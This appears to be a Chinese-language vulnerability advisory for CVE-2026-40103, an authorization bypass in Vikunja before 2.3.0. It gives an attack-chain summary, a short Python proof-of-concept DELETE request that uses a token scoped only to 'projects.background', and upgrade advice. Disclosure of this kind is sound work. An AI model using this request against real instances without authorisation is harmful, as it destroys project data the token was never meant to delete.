IPBUF安全漏洞报告
English
CVE-2026-40103 CVSS 4.3 中危

CVE-2026-40103: Vikunja API令牌授权绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40103
漏洞类型
授权绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

授权绕过VikunjaAPI安全访问控制

漏洞概述

Vikunja是一个开源的自托管任务管理平台。在2.3.0版本之前,其在自定义项目背景路由的范围API令牌强制执行中存在方法混淆。拥有`projects.background`权限的令牌可成功删除项目背景,而拥有`projects.background_delete`权限的令牌却被拒绝。这是一个范围令牌授权绕过漏洞,允许低权限用户执行未授权的删除操作。

技术细节

该漏洞的核心在于API权限验证逻辑中的方法混淆。Vikunja的API设计使用范围令牌来限制权限,通常`projects.background`应仅允许查看或上传背景,而`projects.background_delete`才允许删除。但在受影响版本中,当发送删除项目背景的请求时,系统错误地将`projects.background`作用域视为具有删除权限,或者未正确区分读取与删除动作。这导致攻击者无需申请高权限的删除令牌,仅凭一个低权限的背景令牌即可发送DELETE请求并成功执行,从而绕过了预期的访问控制机制,破坏了数据的完整性。

攻击链分析

STEP 1
步骤1:获取受限令牌
攻击者在Vikunja中申请一个API令牌,仅分配'projects.background'权限,该权限本应仅允许查看或设置背景。
STEP 2
步骤2:构造恶意请求
攻击者使用该受限令牌,向目标项目的背景接口发送HTTP DELETE请求。
STEP 3
步骤3:权限绕过与执行
由于漏洞,服务器错误地验证了令牌权限,认为'projects.background'包含删除权限,从而执行删除操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration base_url = "https://vikunja.example.com/api/v1" project_id = "TARGET_PROJECT_ID" # A token scoped only for 'projects.background' (Read/Upload) # This token should NOT be able to delete, but due to the vulnerability, it can. vulnerable_token = "YOUR_SCOPED_API_TOKEN" # The endpoint for deleting a project background delete_url = f"{base_url}/projects/{project_id}/background" headers = { "Authorization": f"Bearer {vulnerable_token}", "Content-Type": "application/json" } # Sending the DELETE request response = requests.delete(delete_url, headers=headers) if response.status_code == 200: print("[+] PoC Successful: Background deleted using limited scope token.") else: print(f"[-] PoC Failed: Status code {response.status_code}")

影响范围

Vikunja < 2.3.0

防御指南

临时缓解措施
建议立即将Vikunja实例升级到2.3.0或更高版本以修复此漏洞。如果暂时无法升级,应严格限制API令牌的创建和使用,监控异常的删除操作,并考虑暂时禁用项目背景功能以防止数据被恶意删除。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表